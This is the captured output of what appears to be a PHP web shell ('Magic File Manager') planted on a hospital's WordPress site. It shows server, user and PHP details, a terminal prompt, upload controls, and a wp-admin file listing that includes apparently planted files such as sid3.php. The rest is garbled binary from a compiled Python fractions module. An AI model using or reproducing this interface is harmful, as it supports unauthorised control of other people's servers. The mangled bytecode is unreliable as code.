✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \W\ã@sŠdZddlmZddlZddlZddlZddlZddlZddgZdd„Z dd„Z ej j Z ej jZejd ejejBƒZGd d„dejƒZdS) z+Fraction, infinite-precision, real numbers.é)ÚDecimalNÚFractionÚgcdcCsfddl}|jdtdƒt|ƒtko0t|ƒknr\|p<|dkrPtj||ƒ Stj||ƒSt||ƒS)z¶Calculate the Greatest Common Divisor of a and b. Unless b==0, the result will have the same sign as b (so that when b is divided by it, the result comes out positive). rNz6fractions.gcd() is deprecated. Use math.gcd() instead.é)ÚwarningsÚwarnÚDeprecationWarningÚtypeÚintÚmathrÚ_gcd)ÚaÚbr©rú!/usr/lib64/python3.6/fractions.pyrs   cCsx|r|||}}qW|S)Nr)r rrrrr sr aC \A\s* # optional whitespace at the start, then (?P[-+]?) # an optional sign, then (?=\d|\.\d) # lookahead for digit or .digit (?P\d*) # numerator (possibly empty) (?: # followed by (?:/(?P\d+))? # an optional denominator | # or (?:\.(?P\d*))? # an optional fractional part (?:E(?P[-+]?\d+))? # and optional exponent ) \s*\Z # and optional whitespace to finish cs eZdZdZdSZdTddœ‡fdd „ Zed d „ƒZed d „ƒZdUdd„Z e dd„ƒZ e dd„ƒZ dd„Z dd„Zdd„Zdd„Zeeejƒ\ZZdd„Zeeejƒ\ZZdd „Zeeejƒ\ZZd!d"„Zeeejƒ\ZZ d#d$„Z!d%d&„Z"d'd(„Z#d)d*„Z$d+d,„Z%d-d.„Z&d/d0„Z'd1d2„Z(d3d4„Z)d5d6„Z*d7d8„Z+d9d:„Z,dVd;d<„Z-d=d>„Z.d?d@„Z/dAdB„Z0dCdD„Z1dEdF„Z2dGdH„Z3dIdJ„Z4dKdL„Z5dMdN„Z6dOdP„Z7dQdR„Z8‡Z9S)Wra]This class implements rational numbers. In the two-argument form of the constructor, Fraction(8, 6) will produce a rational number equivalent to 4/3. Both arguments must be Rational. The numerator defaults to 0 and the denominator defaults to 1 so that Fraction(3) == 3 and Fraction() == 0. Fractions can also be constructed from: - numeric strings similar to those accepted by the float constructor (for example, '-2.3' or '1e10') - strings of the form '123/456' - float and Decimal instances - other Rational instances (including integers) Ú _numeratorÚ _denominatorrNT)Ú _normalizec sRtt|ƒj|ƒ}|dk�rdt|ƒtkr6||_d|_|St|tj ƒrV|j |_|j |_|St|t t fƒrx|jƒ\|_|_|St|tƒ�rZtj|ƒ}|dkr¢td|ƒ‚t|jdƒp°dƒ}|jdƒ}|rÌt|ƒ}nvd}|jdƒ}|�rdt|ƒ}||t|ƒ}||9}|jd ƒ} | �rBt| ƒ} | d k�r4|d| 9}n|d| 9}|jd ƒd k�rb| }ntd ƒ‚nft|ƒtk�o€t|ƒkn�rŠn@t|tj ƒ�rÂt|tj ƒ�rÂ|j |j |j |j }}ntdƒ‚|d k�ràtd|ƒ‚|�rBt|ƒtk�ot|ƒkn�r(tj||ƒ} |d k�r2| } n t||ƒ} || }|| }||_||_|S)a£Constructs a Rational. Takes a string like '3/2' or '1.5', another Rational instance, a numerator/denominator pair, or a float. Examples -------- >>> Fraction(10, -8) Fraction(-5, 4) >>> Fraction(Fraction(1, 7), 5) Fraction(1, 35) >>> Fraction(Fraction(1, 7), Fraction(2, 3)) Fraction(3, 14) >>> Fraction('314') Fraction(314, 1) >>> Fraction('-35/4') Fraction(-35, 4) >>> Fraction('3.1415') # conversion from numeric string Fraction(6283, 2000) >>> Fraction('-47e-2') # string may include a decimal exponent Fraction(-47, 100) >>> Fraction(1.47) # direct construction from float (exact conversion) Fraction(6620291452234629, 4503599627370496) >>> Fraction(2.25) Fraction(9, 4) >>> Fraction(Decimal('1.47')) Fraction(147, 100) Néz Invalid literal for Fraction: %rZnumÚ0ÚdenomÚdecimalé ÚexprZsignú-z2argument should be a string or a Rational instancez+both arguments should be Rational instanceszFraction(%s, 0))ÚsuperrÚ__new__r r rrÚ isinstanceÚnumbersÚRationalÚ numeratorÚ denominatorÚfloatrÚas_integer_ratioÚstrÚ_RATIONAL_FORMATÚmatchÚ ValueErrorÚgroupÚlenÚ TypeErrorÚZeroDivisionErrorr rr ) Úclsr r!rÚselfÚmrrZscalerÚg)Ú __class__rrrTsr            $   $   zFraction.__new__cCsDt|tjƒr||ƒSt|tƒs8td|j|t|ƒjfƒ‚||jƒŽS)z‚Converts a finite float to a rational number, exactly. Beware that Fraction.from_float(0.3) != Fraction(3, 10). z.%s.from_float() only takes floats, not %r (%s))rrÚIntegralr"r*Ú__name__r r#)r,ÚfrrrÚ from_floatÁs   zFraction.from_floatcCsVddlm}t|tjƒr&|t|ƒƒ}n$t||ƒsJtd|j|t|ƒjfƒ‚||j ƒŽS)zAConverts a finite Decimal instance to a rational number, exactly.r)rz2%s.from_decimal() only takes Decimals, not %r (%s)) rrrrr1r r*r2r r#)r,ZdecrrrrÚ from_decimalÏs   zFraction.from_decimalé@Bc Csâ|dkrtdƒ‚|j|kr"t|ƒSd\}}}}|j|j}}xP||}|||} | |kr\P|||||| f\}}}}||||}}q>W|||} t|| ||| |ƒ} t||ƒ} t| |ƒt| |ƒkrÚ| S| SdS)aWClosest Fraction to self with denominator at most max_denominator. >>> Fraction('3.141592653589793').limit_denominator(10) Fraction(22, 7) >>> Fraction('3.141592653589793').limit_denominator(100) Fraction(311, 99) >>> Fraction(4321, 8765).limit_denominator(10000) Fraction(4321, 8765) rz$max_denominator should be at least 1rN)rrrr)r'rrrÚabs) r-Zmax_denominatorZp0Zq0Zp1Zq1ÚnÚdr Zq2ÚkZbound1Zbound2rrrÚlimit_denominatorÛs&      zFraction.limit_denominatorcCs|jS)N)r)r rrrr szFraction.numeratorcCs|jS)N)r)r rrrr!szFraction.denominatorcCsd|jj|j|jfS)z repr(self)z %s(%s, %s))r0r2rr)r-rrrÚ__repr__szFraction.__repr__cCs(|jdkrt|jƒSd|j|jfSdS)z str(self)rz%s/%sN)rr$r)r-rrrÚ__str__s  zFraction.__str__csT‡‡fdd„}dˆjd|_ˆj|_‡‡fdd„}dˆjd|_ˆj|_||fS)aÕGenerates forward and reverse operators given a purely-rational operator and a function from the operator module. Use this like: __op__, __rop__ = _operator_fallbacks(just_rational_op, operator.op) In general, we want to implement the arithmetic operations so that mixed-mode operations either call an implementation whose author knew about the types of both arguments, or convert both to the nearest built in type and do the operation there. In Fraction, that means that we define __add__ and __radd__ as: def __add__(self, other): # Both types have numerators/denominator attributes, # so do the operation directly if isinstance(other, (int, Fraction)): return Fraction(self.numerator * other.denominator + other.numerator * self.denominator, self.denominator * other.denominator) # float and complex don't have those operations, but we # know about those types, so special case them. elif isinstance(other, float): return float(self) + other elif isinstance(other, complex): return complex(self) + other # Let the other type take over. return NotImplemented def __radd__(self, other): # radd handles more types than add because there's # nothing left to fall back to. if isinstance(other, numbers.Rational): return Fraction(self.numerator * other.denominator + other.numerator * self.denominator, self.denominator * other.denominator) elif isinstance(other, Real): return float(other) + float(self) elif isinstance(other, Complex): return complex(other) + complex(self) return NotImplemented There are 5 different cases for a mixed-type addition on Fraction. I'll refer to all of the above code that doesn't refer to Fraction, float, or complex as "boilerplate". 'r' will be an instance of Fraction, which is a subtype of Rational (r : Fraction <: Rational), and b : B <: Complex. The first three involve 'r + b': 1. If B <: Fraction, int, float, or complex, we handle that specially, and all is well. 2. If Fraction falls back to the boilerplate code, and it were to return a value from __add__, we'd miss the possibility that B defines a more intelligent __radd__, so the boilerplate should return NotImplemented from __add__. In particular, we don't handle Rational here, even though we could get an exact answer, in case the other type wants to do something special. 3. If B <: Fraction, Python tries B.__radd__ before Fraction.__add__. This is ok, because it was implemented with knowledge of Fraction, so it can handle those instances before delegating to Real or Complex. The next two situations describe 'b + r'. We assume that b didn't know about Fraction in its implementation, and that it uses similar boilerplate code: 4. If B <: Rational, then __radd_ converts both to the builtin rational type (hey look, that's us) and proceeds. 5. Otherwise, __radd__ tries to find the nearest common base ABC, and fall back to its builtin type. Since this class doesn't subclass a concrete type, there's no implementation to fall back to, so we need to try as hard as possible to return an actual value, or the user will get a TypeError. csPt|ttfƒrˆ||ƒSt|tƒr0ˆt|ƒ|ƒSt|tƒrHˆt|ƒ|ƒStSdS)N)rr rr"ÚcomplexÚNotImplemented)r r)Úfallback_operatorÚmonomorphic_operatorrrÚforwardvs   z-Fraction._operator_fallbacks..forwardÚ__csZt|tjƒrˆ||ƒSt|tjƒr4ˆt|ƒt|ƒƒSt|tjƒrRˆt|ƒt|ƒƒStSdS)N)rrrZRealr"ÚComplexr>r?)rr )r@rArrÚreverse‚s    z-Fraction._operator_fallbacks..reverseZ__r)r2Ú__doc__)rAr@rBrEr)r@rArÚ_operator_fallbacks&sP  zFraction._operator_fallbackscCs,|j|j}}t|j||j|||ƒS)za + b)r!rr )r rÚdaÚdbrrrÚ_add‘sz Fraction._addcCs,|j|j}}t|j||j|||ƒS)za - b)r!rr )r rrHrIrrrÚ_sub™sz Fraction._subcCst|j|j|j|jƒS)za * b)rr r!)r rrrrÚ_mul¡sz Fraction._mulcCst|j|j|j|jƒS)za / b)rr r!)r rrrrÚ_div§s z Fraction._divcCstj||ƒS)za // b)r Úfloor)r rrrrÚ __floordiv__®szFraction.__floordiv__cCstj||ƒS)za // b)r rN)rr rrrÚ __rfloordiv__²szFraction.__rfloordiv__cCs||}|||S)za % br)r rÚdivrrrÚ__mod__¶szFraction.__mod__cCs||}|||S)za % br)rr rQrrrÚ__rmod__»szFraction.__rmod__cCs¬t|tjƒrœ|jdkrŠ|j}|dkr>t|j||j|dd�S|jdkrft|j| |j| dd�St|j | |j | dd�Sq¨t|ƒt|ƒSn t|ƒ|SdS)z¾a ** b If b is not an integer, the result will be a float or complex since roots are generally irrational. If b is an integer, the result will be rational. rrF)rN) rrrr!r rrrr")r rZpowerrrrÚ__pow__Às         zFraction.__pow__cCs\|jdkr|jdkr||jSt|tjƒr b)rmrnÚgt)r rrrrÚ__gt__fszFraction.__gt__cCs|j|tjƒS)za <= b)rmrnÚle)r rrrrÚ__le__jszFraction.__le__cCs|j|tjƒS)za >= b)rmrnÚge)r rrrrÚ__ge__nszFraction.__ge__cCs |jdkS)za != 0r)r)r rrrÚ__bool__rszFraction.__bool__cCs|jt|ƒffS)N)r0r$)r-rrrÚ __reduce__xszFraction.__reduce__cCs t|ƒtkr|S|j|j|jƒS)N)r rr0rr)r-rrrÚ__copy__{s zFraction.__copy__cCs t|ƒtkr|S|j|j|jƒS)N)r rr0rr)r-ÚmemorrrÚ __deepcopy__€s zFraction.__deepcopy__)rr)rN)r6)N):r2Ú __module__Ú __qualname__rFÚ __slots__rÚ classmethodr4r5r;Úpropertyr r!r<r=rGrJrnÚaddÚ__add__Ú__radd__rKÚsubÚ__sub__Ú__rsub__rLÚmulÚ__mul__Ú__rmul__rMÚtruedivÚ __truediv__Ú __rtruediv__rOrPrRrSrTrUrVrWrXrYrZr[r^rerjrmrprrrtrvrwrxryr{Ú __classcell__rr)r0rr<sVm  7  k )rFrrr rrnÚreÚsysÚ__all__rr Ú hash_infoÚmodulusrbÚinfrcÚcompileÚVERBOSEÚ IGNORECASEr%rrrrrrÚs